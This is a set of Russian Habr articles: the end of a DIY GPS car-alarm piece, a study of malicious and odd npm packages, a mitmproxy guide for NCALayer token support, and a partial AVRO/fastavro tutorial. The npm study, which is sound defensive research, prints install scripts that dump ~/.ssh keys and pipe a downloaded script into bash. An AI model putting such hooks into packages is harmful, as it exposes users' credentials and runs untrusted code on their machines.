Таким образом, эта область до сих пор остаётся неосвоенной, достойных, сильных и доступных большинству решений здесь нет. Информация, приведённая в этой статье по разработке спутниковой сигнализации, может стать хорошим трамплином для разработки конкурентноспособного устройства. В качестве основы сразу напрашивается одноплатный компьютер Raspberry Pi с ARM11, функциональное оснащение которого можно расширить. :-)
**В качестве заключения**
Вот мы и разобрали буквально в двух словах на пальцах основные моменты разработки автомобильных спутниковых GSM-сигнализаций, от и до. :-) На своём собственном примере убедился, что не так страшен чёрт, как его малюют, и всё реально сделать самому, нужно лишь время и терпение. На самом деле, важно помнить золотое правило: «лучше меньше, да лучше». Стремясь объять необъятное, наделить своё устройство как можно большим набором функционала, производители зачастую теряют в качестве исполнения. Лучше очертить для себя круг, урезать свою «хотелку», сделать меньше, но зато качественно и достойно, детально проработав все нюансы.
В статье я рассматривал только спутниковые системы, оставив в стороне радиопоисковые. С одной стороны, радиопоисковые системы выигрывают над спутниковыми – меньшее энергопотребление, работа в закрытых помещениях (сигнал пробивается через металлические боксы, подземные гаражи и т.д.), передатчик можно размещать в машине где угодно (в дверях, скрытых полостях кузова и т.д.). Но с другой стороны, есть и минусы: недостаточное покрытие территории радиомаяками, относительно высокая абонентская плата, невозможность отображения на карте положения охраняемого объекта, невозможность разработки своего радиопоискового устройства – разве что только свои радиомаяки в городе ставить, что весьма накладно ) Плюс преимущества радиопоисковых систем конечному потребителю наглядно на примере работы устройства не продемонстрируешь. Мало кто из вас решится заплатить ощутимую сумму денег за агрегат, которым не воспользуешься в своих целях, работа которого будет ему не видна. Т.е. потребителю важно «пощупать» в деле то, что он приобретает. Спутниковые системы в этом плане заметно выигрывают. И нет ничего удивительного в том, что они по продажам заметно выигрывают, а радиопоисковые до сих пор остаются в тени, несмотря на все свои преимущества.
Что касается комплектации автомобильной сигнализации, то настоятельно рекомендую не довольствоваться штатным оснащением, а устнавливать в скрытые полости gps-маячки. Кроме того, оклеить стёкла бронированной плёнкой и вставить в двери штыри – это не только дополнительная мера от угона автомобиля, но и реальная защита от кражи вещей в салоне. Кроме того, уже давно стандартом де-факто является установка электрического замка капота и замок типа Гарант на руль + цифровые реле (на основе токовых ключей) на основные цепи машины, которые блокируются, если сигнализацию выводят из строя – если сигнализация поддерживает их установку. Нам часто жалко денег – махаем рукой, думаем, что машина того не стоит. И жалеем только тогда, когда уже поздно что-либо изменить…
P.S. Думаю, многие из вас заметили, что ролик в самом начале статьи «переигран» для завлечения клиентов – сигнализация разумеется не отправляет никакие данные на спутник, такие сигнализации называются спутниковыми только потому, что принимают данные с GPS/Глонасс-спутников. Чтобы отправлять информацию на спутники, нужна хорошая такая тарелка. ;)
**UPD 06.09.2012:** Модули 2G (sim900) теперь не могут использоваться в системах ЭРА-ГЛОНАСС в соответствии с новым ГОСТ Р 54620-2011, для этого требуются модули 3G (например, работу с ЭРА-ГЛОНАСС поддерживает 3G-модуль SIM5320).
**Список литературы**
1) [Спутниковый спидометр на STM32F1 и FreeRTOS](http://habrahabr.ru/blogs/controllers/137673/)
2) [Проект национальных стандартов ЭРА-ГЛОНАСС.](http://files.mail.ru/IBSJGGIBSJGGIBSJGGIBSJGGIBSJGGXX) Выражаю благодарность директору службы разработки абонентских устройств Федерального оператора «НИС-ГЛОНАСС» Домарацкому Я. А. за предоставленные материалы.
3) [Исходники автомобильного gps-трекера на базе ATmega128](http://www.ecoo.smasma.com/GPS_GSM_Tracker/)
4) [Исходники gsm-сигнализации на 2 сим-карты, iButton, dtmf-декодером](http://www.ecoo.smasma.com/GSM_Security_system/)
5) [Исходники GPS-трекера на STM32](https://github.com/dlebed/STM32-GPS-Tracker/)
6) [Исходники GPS-трекера на STM32F10x](https://github.com/x893/CarTracker)
6) ГОСТ Р 54620-2011 «Автомобильная система вызова экстренных оперативных служб. Общие технические требования»
7) Приказ Минтранса России от 31.07.2012 N 285 — интересен описанием протокола передачи телематической информации и процедуры вызова экстренных служб | https://habr.com/ru/post/139760/ | null | ru | null |
# 12 странных вещей, которые могут произойти после установки npm пакета
Пару месяцев назад я начал заниматься проектом под названием [malicious-packages](https://github.com/malicious-packages) (ака "вредоносные пакеты"). Он следит за обновлениями в npm репозитории, скачивает все новые модули, а затем проверяет их на вшивость — ищет сетевую активность, подозрительные операции с файловой системой и т.д. Даже маленькие проекты на node.js часто имеют большое дерево зависимостей, и у разработчиков физически нет возможности проверить их все. Это даёт злоумышленникам огромный простор для манёвра, и возникает вопрос — сколько же всякой гадости прячется по тёмным углам npm registry? 180000 проверенных пакетов спустя я получил примерный ответ.
И этот ответ — пожалуй, не так уж и много.
*[прим.: на [medium](https://medium.com/@v_pragma/12-strange-things-that-can-happen-after-installing-an-npm-package-45de7fbf39f0) есть англоязычная версия этой статьи, также за моим авторством]*
Что npm пакет может сделать c вашей системой?
---------------------------------------------
У пакета есть два основных пути навредить вам — при установке / удалении и в момент запуска вашего приложения. Давайте рассмотрим оба варианта на примерах.
[NPM скрипты](https://docs.npmjs.com/misc/scripts) позволяют пакетам выполнять произвольные команды в момент установки и удаления. К ним относятся `preinstall`, `install`, `postinstall`, `preuninstall` и `postuninstall`, которые автоматически выполняются npm в соответствующий момент жизненного цикла пакета. Что они могут сделать? Всё то же самое, что может сделать ваш текущий пользователь — например удалить все ваши фотографии с последнего отпуска, или слить историю вашего браузера в ФБР (хотя, скорее всего, она и так у них есть). Это поведение можно отключить передав флаг `--ignore-scripts`, но, во-первых, это никто не делает, а во-вторых — таким образом можно сломать кучу вполне себе благонадёжных пакетов. Именно через скрипты была осуществлена [нашумевшая атака на ESLint](https://gist.github.com/hzoo/51cb84afdc50b14bffa6c6dc49826b3e), которая затронула пользователей [eslint-scope](https://www.npmjs.com/package/eslint-scope) (6 миллионов установок в неделю) и [eslint-config-eslint](https://www.npmjs.com/package/eslint-config-eslint) (2 тысячи установок в неделю).
Пакет получает второй шанс усложнить вам жизнь при инициализации (обычно происходит при первом вызове `require`). Теперь у него появляется возможность модифицировать глобальные переменные и другие пакеты, чтобы, например, [украсть приватный ключ](https://www.npmjs.com/advisories/737) от вашего биткоин-кошелька, или сделать метод `crypto.randomBytes` [не таким уж и случайным](https://www.npmjs.com/advisories/738).
Сколько вредоносных пакетов было обнаружено?
--------------------------------------------
Что ж, список нельзя назвать впечатляющим, всего было найдено 3 пакета, которые к настоящему моменту удалены из npm репозитория стараниями [npm security team](https://www.npmjs.com/advisories/report). Давайте пройдёмся по нему:
* [commander-js](https://github.com/malicious-packages/cemetry/tree/master/commander-js) пытается маскироваться под настоящий `commander.js` (который <https://www.npmjs.com/package/commander>), но содержит одну необычную деталь, а именно `postinstall` скрипт, скачивающий и выполняющий содержимое <http://23.94.46.191/update.json> (на момент публикации не содержит ничего криминального). Security advisory: <https://www.npmjs.com/advisories/763>.
* [rrgod](https://github.com/malicious-packages/cemetry/tree/master/rrgod) через всё те же скрипты загружает и выполняет скрипт из <http://static.ricterz.me>, который, в свою очередь, пытается загрузить ещё один скрипт, в настоящее время недоступный. Security advisory: <https://www.npmjs.com/advisories/764>.
* [portionfatty12](https://github.com/malicious-packages/cemetry/tree/master/portionfatty12) нельзя назвать полностью вредоносным, однако способ, которым автор собирает статистику об установках своего детища весьма сомнителен — это отправка вашего публичного ssh-ключа (`~/.ssh/id_rsa.pub`) на сервер, который в настоящий момент уже недоступен. Security advisory: <https://www.npmjs.com/advisories/765>.
Несмотря на весьма скромные результаты, в процессе анализа всех подозрительных пакетов (а я просмотрел более 3000 отчётов, чтобы найти эти три жемчужины) обнаружилось немало забавных и не очень вещей, о которых вы обычно не задумываетесь (или тщательно стараетесь не думать) набирая `npm install`. Итак, давайте представим, что вы случайно выбрали один из множества пакетов из репозитория и устанавливаете его. Что может пойти не так?
**1. Пакет может переопределять методы в других пакетах (в том числе и из стандартной поставки Node.js)**
Впрочем, если вы прочитали пару предыдущих абзацев или работаете с экосистемой javascript больше недели, то вряд ли для вас это будет являться новостью. А вот масштабы этой катастрофы вполне могли от вас ускользнуть. Так, если в вашем проекте есть хотя бы несколько зависимостей, то скорее всего метод [fs.closeSync](https://nodejs.org/api/fs.html#fs_fs_closesync_fd) у вас уже переопределён (и, может быть, не один раз). Огромное количество пакетов модифицирует чужое API, но лишь немногие из них имеют хоть сколько-нибудь вескую причину для этого. Среди "рекордсменов" — [graceful-fs](https://www.npmjs.com/package/graceful-fs) с 12 миллионами установок в неделю, который [переопределяет десяток методов из fs](https://github.com/isaacs/node-graceful-fs/blob/master/polyfills.js#L45-L67). Так же стоит отметить [async-listener](https://www.npmjs.com/package/async-listener), переопределяющий [46 различных методов](https://github.com/othiym23/async-listener/blob/master/index.js#L244-L336), включая злополучный `crypto.randomBytes`, что меня несколько напрягло, когда я впервые это обнаружил.
Представьте, каково будет искать баг, вызванный таким переопределением из какой-нибудь зависимости в глубине иерархии. Впрочем, причин для переживаний нет, потому что...
**2. Пакет может определять изменённое API вносить в него дополнительные исправления**
Да, некоторые пакеты так и поступают (чаще всего в отношении того же `graceful-fs`) используя чудеса акробатики вроде `/graceful-fs/.test(fs.closeSync.toString())`. Так что, если вы вдруг столкнулись с непонятными проблемами в стандартной библиотеке, попробуйте просто установить парочку случайных npm пакетов. Или просто выключите компьютер и прогуляйтесь по ближайшему парку, жизнь слишком коротка, чтобы разбираться во всём этом.
**3. Он может отправлять аналитику**
Adblock вас не защитит, если дело происходит в консоли, и авторы некоторых пакетов успешно этим пользуются. Некоторые отправляют самую базовую информацию, как, например, [ecdsa-csr](https://www.npmjs.com/package/ecdsa-csr):
```
// POST https://api.therootcompany.com/api/therootcompany.com/public/ping
{
"package":"ecdsa-csr",
"version":"1.1.1",
"node":"v10.14.2",
"arch":"x64",
"platform":"linux",
"release":"4.9.125-linuxkit",
"action":"install",
"ppid":"eDSeYr9XUNRi9WhWli5smBNAvdw="
}
```
Некоторые не так стесняются. Вот, например часть отчёта [serverless](https://www.npmjs.com/package/serverless) (оригинал раза в 2 больше):
```
// POST https://tracking.serverlessteam.com/v1/track
{
"userId":"0e32cba0-14ef-11e9-9f89-b7ed4ca5dbba",
"event":"framework_stat",
"properties":{
"version":2,
"general":{
"userId":"0e32cba0-14ef-11e9-9f89-b7ed4ca5dbba",
"context":"install",
"timestamp":1547135257977,
"timezone":"GMT+0000",
"operatingSystem":"linux",
"userAgent":"cli",
"serverlessVersion":"1.35.1",
"nodeJsVersion":"v10.14.2",
"isDockerContainer":true,
"isCISystem":false,
"ciSystem":null
}
}
}
```
К счастью, `jquery` никакой статистики не отправляет, так что его по-прежнему можно устанавливать в тайне ото всех. До поры до времени.
**4. Ваш компьютер может использоваться вместо CI/CD сервера**
Зачем вам компилировать ваш пакет, если это могут сделать [ваши пользователи при установке](https://github.com/PsichiX/Oxygen/blob/master/package.json#L13)? Можно получить дополнительную ачивку, если указать только мажорную версию требуемого компилятора, например `typescript@3`. Одна надежда на грамотных ребят из Microsoft, которые умеют делать правильный semver.
Можно ли зайти ещё дальше? [Конечно](https://www.npmjs.com/package/raven-reader)!
```
"postinstall": "eslint --ext .js,.vue --fix src"
```
Теперь можно спать спокойно — все пользователи получат идеально отформатированные исходники вашего пакета.
**5. Он может попытаться напугать вас**
Если вы посмотрели все серии Mr. Robot, но всё ещё недостаточно замотивированы, чтобы прочитать [Computer Networks](https://www.amazon.com/Computer-Networks-Tanenbaum-International-Economy/dp/9332518742) и сделать что-нибудь действительно впечатляющее, то есть простое решение — продемонстрируйте миру свои умения посредством пары строчек в `postinstall` скрипте. Именно так и поступил автор [pizza-pasta](https://github.com/malicious-packages/cemetry/tree/master/pizza-pasta) (а заодно подарил мне КДПВ).
```
{
"name": "pizza-pasta",
"author": "Zeavo",
"scripts": {
"install": "mkdir -p ~/Desktop/hacked && touch ~/Desktop/hacked/pwnddddd && wget https://imgur.com/download/KTDNt5I -P ~/Desktop/hacked/",
"postinstall": "find ~/.ssh | xargs cat || true && printf '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\nHappy Birthday! Youve been h4ck0red\n\n\n'"
}
}
```
**6. Пакет может загружать и исполнять bash-скрипты**
Слышали ли вы, что делать `curl|bash` [не очень хорошая идея](https://www.seancassidy.me/dont-pipe-to-your-shell.html)? Если нет, то вы вполне можете оказаться сотрудником [ORESoftware](https://www.npmjs.com/~oresoftware), у которых есть [целая](https://www.npmjs.com/package/r2g.docker) [куча](https://www.npmjs.com/package/typescript-library-skeleton) [пакетов](https://www.npmjs.com/package/nrestart) с подобными строчками в `postinstall` скрипте:
```
curl --silent -o- https://raw.githubusercontent.com/oresoftware/realpath/master/assets/install.sh | bash
```
Пока что в этом скрипте нет ничего криминального… Пока. Надеюсь, что все, у кого есть доступ к `master` в `oresoftware/realpath`, исключительно честные и порядочные люди.
**7. У вас могут попросить пароль**
Автор [magicleap](https://www.npmjs.com/package/magicleap) придумал достаточно необычный способ распространять приватный пакет через публичный репозиторий. Его проект состоит из зашифрованного архива и утилит для его расшифровки — но только если вы поместите правильный ключ в переменную окружения `MAGICLEAP`:
```
// Оригинал: https://github.com/modulesio/magicleap/blob/master/decrypt.js
var key = process.env['MAGICLEAP'];
console.warn('Decrypting magicleap module with MAGICLEAP environment variable');
const ws = fs.createReadStream(path.join(__dirname, 'lib.zip.enc'))
.pipe(crypto.createDecipher('aes-256-cbc', Buffer.from(key, 'base64')))
.pipe(fs.createWriteStream(path.join(__dirname, 'lib.zip')));
```
**8. Пакет может пропатчить сам себя во время установки**
У автора [fake-template](https://www.npmjs.com/package/fake-template) нет времени, чтобы отделять тесты от непосредственного кода, тем более, что это легко сделать, добавив в конец тестовых строк специальный комментарий:
```
// Оригинал: https://github.com/framp/fake-template/blob/master/index.js
const template = (string, tag=defaultTag) => {
if (mode !== 'literal') throw new Error('Invalid template')
return (context={}) => tag(literals, ...expressions.map(evalInContext(context)))
}
assert.equal(template('')(), ``) // TEST
assert.equal(template('abc')(), `abc`) // TEST
const dog = 'Orlando' // TEST
assert.equal(template('abc ${dog} lol ${cat}')({dog}), `abc ${dog} lol ${cat}`) // TEST
```
А затем удалить их через `sed`:
```
"postinstall": "sed -i '/\\/\\/ TEST/d' index.js"
```
Просто и элегантно!
**9. Пакет может изменить настройки `npm`**
На мой скромный взгляд, `package-json.lock` — отличная штука, которая может спасти от целой кучи проблем, вызванных халатностью других разработчиков. Впрочем, у [некоторых оппонентов](https://www.npmjs.com/package/ontimize-web-ngx-tree) этой идеи есть достаточно веские доводы против:
```
"preinstall": "npm config set package-lock false"
```
**10. Он может изменить фон вашего рабочего стола на фото Николаса Кейджа**
Вот ссылка, просто на всякий случай — <https://www.npmjs.com/package/cage-js>. Возможно, стоило и этот пакет зарепортить, как вредоносный.
**11. Пакет может вас [зарикроллить](https://ru.wikipedia.org/wiki/%D0%A0%D0%B8%D0%BA%D1%80%D0%BE%D0%BB%D0%BB%D0%B8%D0%BD%D0%B3)**
Именно этим занимается [ember-data-react](https://www.npmjs.com/package/ember-data-react), открывая знаменитое [видео](https://www.youtube.com/watch?v=dQw4w9WgXcQ) во время установки. К сожалению, никаких данных из Ember в React с его помощью перенести не удастся — в нем нет ни строчки javascript кода.
**12. Он может просто не установиться**
Несуществующие зависимости, неправильно указанные версии, приватные репозитории, канувшие в лету — вы не сможете установить около 0.6% всех пакетов из npm репозитория.
Вместо заключения
-----------------
NPM пакеты могут делать странные вещи с вашей системой, и у вас не так много вариантов защиты от этого. Используйте `package-lock.json`, чтобы избежать внезапных обновлений (и следите, чтобы никто его не отключил без вашего ведома), настройте [CSP](https://developer.mozilla.org/ru/docs/Web/HTTP/CSP) на фронтенде, чтобы бэкдор в стороннем модуле хотя бы не смог слить данные своему автору. И сделайте бэкап ваших фотографий, на всякий случай.
Если вы чувствуете в себе достаточно сил для погружения в чудесный мир npm пакетов — вы можете найти все исходники здесь: <https://github.com/malicious-packages/core>. Утилита полна хаков и неоптимальных решений, но она вполне справляется со своей задачей. Так же в репозитории есть MongoDB дамп с результатами анализа более 180 000 пакетов, главное, не забудьте добавить фильтр `{'reports.status': 'unverified'}`. Я не планирую больше развивать этот проект из-за недостатка времени, но постараюсь помочь со всеми вопросами и проблемами, если таковые будут.
Берегите себя и свои приложения! | https://habr.com/ru/post/436132/ | null | ru | null |
# Принудительно добавляем поддержку защищенных носителей (токенов и карт) в недоработанные порталы Республики Казахстан
В Казахстане многие информационные системы не корректно интегрированы с [NCALayer](https://pki.gov.kz/ncalayer/) и в результате поддерживают только файловые хранилища ключей ЭЦП (читателям, интересующимся примерами таких сервисов, рекомендую изучить цикл статей [Доска почёта ЭЦП](https://ct.kz/hall-of-fame-eds/) посвященный анализу проблем с реализацией поддержки ЭЦП в информационных системах). Тех, кто предпочитает пользоваться защищенными носителями (картами и токенами, НУЦ поддерживает несколько: <https://pki.gov.kz/docs/nl_ru/smartcards/>), это сильно раздражает, так как им приходится выпускать временные сертификаты на файловую систему для того, чтобы работать с такими порталами. Для меня последней каплей стало то, что в недавно переработанной системе <https://hr.enbek.kz> (государственная система регистрации и учета трудовых договор) поддержка защищенных носителей так и не была реализована.
В этой заметке я расскажу как технически подкованные пользователи могут обходить ограничения в поддержке носителей путем запуска локального прокси и модификации отправляемых в NCALayer команд на лету.
### Теория
Информационные системы на базе веб технологий взаимодействуют с NCALayer по WebSocket с помощью сообщений в формате JSON. Ознакомиться с командами можно в интерактивной документации по приложению [KAZTOKEN mobile](https://kaztoken.kz/mobile-docs/) (либо можно получить SDK НУЦ, но, к сожалению, там есть только примеры). Поддержка защищенных носителей сводится к тому, что нужно:
1. отправить `kz.gov.pki.knca.commonUtils.getActiveTokens`, в ответ получить список типов хранилищ, экземпляры которых в данный момент доступны для использования;
2. в том случае, если список не пуст, определить (к примеру спросить у пользователя) какой тип использовать;
3. передавать в последующие команды тип хранилища.
Разработчики некоторых информационных систем халтурят, пропускают первые два пункта и далее всегда передают константу `"PKCS12"`, то есть файловое хранилище. Это приводит к тому, что пользователь не может воспользоваться ключами ЭЦП на защищенном носителе, а таких пользователей, судя по [статистике НУЦ РК](https://pki.gov.kz/statistics/), довольно много:
Более того, в [руководстве по получению сертификатов НУЦ РК](https://pki.gov.kz/docs/guides_ru/ul/) явно рекомендуется использовать защищенные носители:
> Внимание! Хранилище «Персональный компьютер» является небезопасным. Рекомендуем использовать защищенный носитель ключевой информации для снижения риска компрометации ключей ЭЦП.
>
>
Таким образом для того, чтобы заставить не качественно разработанный портал поддерживать защищенные носители, нужно в сообщениях, отправляемых из JS кода этого портала в сторону NCALayer, заменять подстроку `"PKCS12"` на константу интересующего носителя. Я пользуюсь устройствами [KAZTOKEN](https://kaztoken.kz/products/), поэтому буду подставлять константу `"AKKaztokenStore"`.
### Практика
В качестве браузера я использую [Firefox](https://www.mozilla.org/ru/firefox/new/), наверняка можно использовать и другие, но так как я пользуюсь именно им, то инструкцию предоставлю для него.
Для модификации команд на лету я воспользуюсь утилитой [mitmproxy](https://mitmproxy.org).
Модификацию будет выполнять следующий скрипт (`KAZTOKENify.py`, за основу взят <https://github.com/mitmproxy/mitmproxy/blob/main/examples/addons/websocket-simple.py>):
```
import re
from mitmproxy import ctx, http
def websocket_message(flow: http.HTTPFlow):
assert flow.websocket is not None
message = flow.websocket.messages[-1]
if message.from_client:
message.content = re.sub(rb"PKCS12", b"AKKaztokenStore", message.content)
```
Для выборочного использования прокси буду использовать файл следующий автоматической настройки прокси ([Proxy Auto-Configuration (PAC)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file)) `proxy.pac`:
```
function FindProxyForURL(url, host) {
if (url.indexOf('wss://127.0.0.1:13579') == 0 || url.indexOf('wss://localhost:13579') == 0 ||
url.indexOf('https://127.0.0.1:13579') == 0 || url.indexOf('https://localhost:13579') == 0 ||
url.indexOf('http://mitm.it') == 0) {
return "PROXY 127.0.0.1:8080";
}
return "DIRECT";
}
```
Для настройки нужно выполнить шаги:
1. Скачать сборку [mitmproxy](https://mitmproxy.org) для своей ОС, распаковать архив.
2. Создать текстовый файл `KAZTOKENify.py` в папке с утилитой mitmproxy, вставить в него скрипт.
3. Запустить `mitmproxy --allow-hosts 127.0.0.1 --allow-hosts localhost --ssl-insecure --scripts KAZTOKENify.py` (прокси будет вскрывать только трафик на `127.0.0.1` и `localhost`, а так же не будет проверять TLS сертификат сервера, это проще чем настраивать доверие к сертификату NCALayer).
4. Создать текстовый файл `proxy.pac`, вставить в него соответствующий код.
5. В браузере открыть *Настройки* -> *Параметры сети* -> *Настроить…*, выбрать *URL автоматической настройки прокси* и указать путь к файлу `proxy.pac` в следующем виде: `file:///home/user/folder/proxy.pac`.
6. В браузере открыть `about:config` и установить `network.proxy.allow_hijacking_localhost` в `true` (иначе Firefox не будет использовать прокси для `127.0.0.1` и `localhost`).
7. В браузере открыть <http://mitm.it/>, установить сертификат УЦ mitmproxy (сертификат УЦ генерируется на каждом ПК свой в отличие от NCALayer, который требует от всех доверять одному сертификату).
8. В браузере открыть <https://127.0.0.1:13579>, удостовериться в том, что браузер видит NCALayer в соответствии с [инструкцией](https://pki.gov.kz/docs/nl_ru/check/) (для TLS будут использоваться сертификаты УЦ mitmproxy).
Готово, теперь можно пройти на <https://hr.enbek.kz> и подписать что-нибудь, NCALayer будет отображать интерфейс работы с устройствами KAZTOKEN, а не с файловой системой.
Либо можно попробовать на странице интерактивной документации [KAZTOKEN mobile](https://kaztoken.kz/mobile-docs/). Для этого, к примеру, можно выбрать `kz.gov.pki.knca.commonUtils.getKeyInfo`, заменить в ней `AKKaztokenStore` на `PKCS12` и отправить, NCALayer все равно будет работать с KAZTOKEN.
### Заключение
Буду очень признателен каждому читателю, который расскажет своему знакомому разработчику о том, что НУЦ выпускает сертификаты не только на файловую систему!
А разработчикам рекомендую использовать JS библиотеку [ncalayer-js-client](https://github.com/sigex-kz/ncalayer-js-client) в надежде на то, что более простой инструмент для работы с NCALayer оставит больше времени и сил на проработку нюансов интеграции.
### История изменений
2022.08.20 - доработан `proxy.pac` чтобы корректно отображался <http://mitm.it/>. | https://habr.com/ru/post/682470/ | null | ru | null |
# Работа с форматом AVRO в python — библиотека fastavro
В статье описывается использование формата сериализации AVRO в языке python, дается краткое описание AVRO-схемы с пояснениями наиболее неочевидных моментов, приводятся конкретные примеры кода на python. Намеренно исключены из рассмотрения вопросы эволюции схем (schema evolution), RPC и AVRO-IDL.
Все примеры приводятся с использованием библиотеки fastavro, которую автору пришлось заметно доработать для соответствия спецификации и совместимости с java реализацией.
### Историческая справка
Почему AVRO, а не json, bson, msgpack, protobuf, ASN.1, thrift, yaml?
При декомпозиции монолитной системы возникла необходимость описать процедуру взаимодействия между микросервисами. Не долго выбирая между RabbitMQ и Kafka остановились на последней. Но вот над следующей задачей — выборе системы сериализации пришлось попотеть.
При выборе системы сериализации учитывались следующие требования:
1. Поддержка нескольких языков программирования
Основа нашей кодовой базы — python 2.7. При чем в дальнейшем хотелось бы чувствительные к производительности процессы перевести на другие языки.
2. Валидация данных при сериализации
В динамическом интерпретируемом питоне слишком просто случайно отправить "не те" данные. А в выбранной нами pub-sub модели кафки нам было очень важно обеспечить корректность входных данных в топике. Нужна была система позволяющая типизировать топики кафки.
3. Поддержка типов
Наша система активно оперирует типами Decimal, UUID и Datetime. Увы — известные форматы сериализации начиная ASN.1 и заканчивая msgpack в основном описывают сериализацию низкоуровневых типов (int\float\string\bytes) и не предлагают законченных решений для интересующих нас.
Исходя из этих соображений выбор пал на AVRO. Но внезапно оказалось (весна 2017) что не смотря на наличие поддержки логических типов в [спецификации](http://avro.apache.org/docs/current/spec.html#Logical+Types) и JAVA билиотеки — ни в [официальной](https://pypi.python.org/pypi/avro/1.8.2) реализации AVRO для python, ни в конкурирующей [fastavto](https://github.com/tebeka/fastavro/) их просто проигнорировали. Пришлось добавлять самостоятельно.
Наиболее адекватный (а также самый быстрый) код оказался у fastavro, в результате было принято решение доработать эту библиотеку. Это стало первым моим опытом участия в opensource.
Что такое AVRO
==============
AVRO это система сериализации данных, созданная в рамках проекта Hadoop. Данные сериализуются бинарный формат с помощью предварительно созданной json-схемы при чем для десериализации также требуется схема (возможно — другая).
Также AVRO позволят в рамках одного контейнера упаковать множество записей заданных единственной схемой, что позволяет эффективно передавать большие объемы данных, избегая свойственные другим форматам накладные расходы.
AVRO-схема
----------
Я не стану подробно описывать правила построения схем, т.к. они изложены в [официальной документации](http://avro.apache.org/docs/current/spec.html)
Остановлюсь лишь на базовых вещах и совсем уж не очевидных моментах.
AVRO-схема представляет из себя JSON, описывающий сериализуемую\десериализуемую структуру данных. Типы данных могут быть:
1. Примитивными
* *null*
* *boolean*
* *int* — знаковое целое 32 бита
* *long* — знаковое целое 64 бита
* *float*
* *double*
* *string* — unicode строка
* *bytes* — последовательность байт
* *fixed* — те же байты, но с длинной заданной в схеме
2. Составными
* union — тип-сумма
* *recod* — тип-произведение
* *enum* — перечисление
* *array* — массив/список
* *map* — ассоциативный массив
3. Логическими (в терминологии AVRO)
* *decimal* — число с фиксированной точкой
* *date* — дата
* *time-millis* — время с миллисекундной точностью
* *time-micros* — время с микросекундной точностью
* *timestamp-millis* — дата-время с миллисекундной точностью
* *timestamp-micros* — дата-время с микросекундной точностью
* *uuid* — universally unique identifier
Хотя вышеперечисленные логические типы уже давно являются стандартом в реляционных БД и современных языках программирования — библиотеки сериализации обходили их стороной, вынуждая сводить их к примитивным типам, к счастью в AVRO эта проблема решена.
Рассмотрим простую схему:
```
{
"type": "record",
"namespace": "notificator",
"name": "out",
"doc": "HTTP нотификация",
"fields": [
{
"doc": "id задания",
"name": "id",
"type": "long"
},
{
"name": "datetime",
"doc": "время постановки задания",
"type": {
"type": "long",
"logicalType": "timestamp-millis"
}
},
{
"doc": "источник нотификации",
"name": "source",
"type": [
"null",
"string"
]
},
{
"doc": "Метод",
"name": "method",
"default": "POST",
"type": {
"type": "enum",
"name": "methods",
"symbols": [
"POST",
"GET",
]
}
},
{
"name": "url",
"type": "string"
},
{
"name": "headers",
"type": {
"type": "map",
"values": "string"
}
},
{
"doc": "body",
"name": "body",
"type": "bytes"
}
]
}
```
Схема начинается с объявления типа record с заданными name и namespace. Эти поля в первых строках будут использоваться в системах кодогенерации, не актуальных для питона, т.к. у нас схема будет обрабатываться динамически. Далее идет перечисление типов полей нашей записи.
Особый интерес представляет объявление поля datetime, т.к. оно содержит логический тип. Важно помнить, что **логические типы следует задавать вложенными в описания типа поля**.
неправильно:
```
{
"name": "datetime",
"doc": "время постановки задания",
"type": "long",
"logicalType": "timestamp-millis"
},
```
правильно:
```
{
"name": "datetime",
"doc": "время постановки задания",
"type": {
"type": "long",
"logicalType": "timestamp-millis"
}
},
```
Далее идет поле source объявленное как union `"type": ["null", "string"]`, эта запись означает что значение source может быть одного из двух типов `null` или `string`. Комбинировать таким образом можно не только примитивные типы, но и составные и логические. Примеры таких комбинаций, а также более сложных схем можно посмотреть [тут](https://github.com/tebeka/fastavro/blob/master/tests/test_complex.py)
Ещё один неочевидный момент связан с `default`: **значение по умолчанию должно быть задано для первого типа в перечислении**.
неправильно:
```
{
"name": "f",
"type": ["long", "string"],
"default": "asd"
},
```
правильно:
```
{
"name": "f",
"type": ["string", "long"],
"default": "asd"
},
```
Отдельного упоминания заслуживают логические типы Decimal (число с фиксированной точкой) и UUID.
Decimal требует дополнительных параметров — числа знаков в числе и числа знаков после запятой:
```
{
"name": "money",
"doc": "16 знаков, 4 после точки",
"type": {
"type": "bytes",
"logicalType": "decimal",
"precision": 16,
"scale": 4,
}
}
```
А UUID интересен тем, что в спецификации его нет, а реализация его [есть](https://github.com/apache/avro/blob/17f2d75132021fafeca29edbdcade40df960fdc9/lang/java/avro/src/main/java/org/apache/avro/Conversions.java#L52). При чём довольно странно сделанная — UUID кодируется строкой.
```
{
"name": "uuid",
"type": {
"type": "string",
"logicalType": "uuid"
}
}
```
Пришлось добавить в fastavro и такую реализацию.
Примеры работы с fastavro
=========================
### Как прочитать из контейнера
```
import fastavro as avro
with open('some-file.avro', 'rb') as fo:
# можно подменить схему контейнера с помощью reader_schema
reader = fastavro.reader(fo, reader_schema=None)
schema = reader.schema
for record in reader:
process_record(record)
```
### Как записать в контейнер
```
from fastavro import writer
schema = {
'doc': 'A weather reading.',
'name': 'Weather',
'namespace': 'test',
'type': 'record',
'fields': [
{'name': 'station', 'type': 'string'},
{'name': 'time', 'type': 'long'},
{'name': 'temp', 'type': 'int'},
],
}
records = [
{'station': '011990-99999', 'temp': 0, 'time': 1433269388},
{'station': '011990-99999', 'temp': 22, 'time': 1433270389},
{'station': '011990-99999', 'temp': -11, 'time': 1433273379},
{'station': '012650-99999', 'temp': 111, 'time': 1433275478},
]
with open('weather.avro', 'wb') as out:
writer(out, schema, records)
```
### Как сериализовать и десериализовать данные вне контейнера
Используется при передачи данных как сообщений.
```
from io import BytesIO
import fastavro
def serialize(schema, data):
bytes_writer = BytesIO()
fastavro.schemaless_writer(bytes_writer, schema, data)
return bytes_writer.getvalue()
def deserialize(schema, binary):
bytes_writer = BytesIO()
bytes_writer.write(binary)
bytes_writer.seek(0)
data = fastavro.schemaless_reader(bytes_writer, schema)
return data
```
### Как подавить чтение логических типов
```
import fastavro
fastavro._reader.LOGICAL_READERS['long-timestamp-millis'] = lambda d, w, r: d
```
Теперь логический тип timestamp-millis будет читаться не в Datetime питона, а в long.
### Как заранее прочитать схему
В fastavro предусмотрена функция acquaint\_schema, которая считывает схему во внутренний репозиторий (бывают ещё и [внешение](https://docs.confluent.io/current/schema-registry/docs/intro.html), но это отдельная история).
Имея схему
```
{
"name": "decimal_18_6",
"namespace": "types",
"type": "bytes",
"logicalType": "decimal",
"precision": 18,
"scale": 6
}
```
и загрузив её с помощью acquaint\_schema можно в дальнейшем использовать краткое описание типов :
```
"fields": [
{
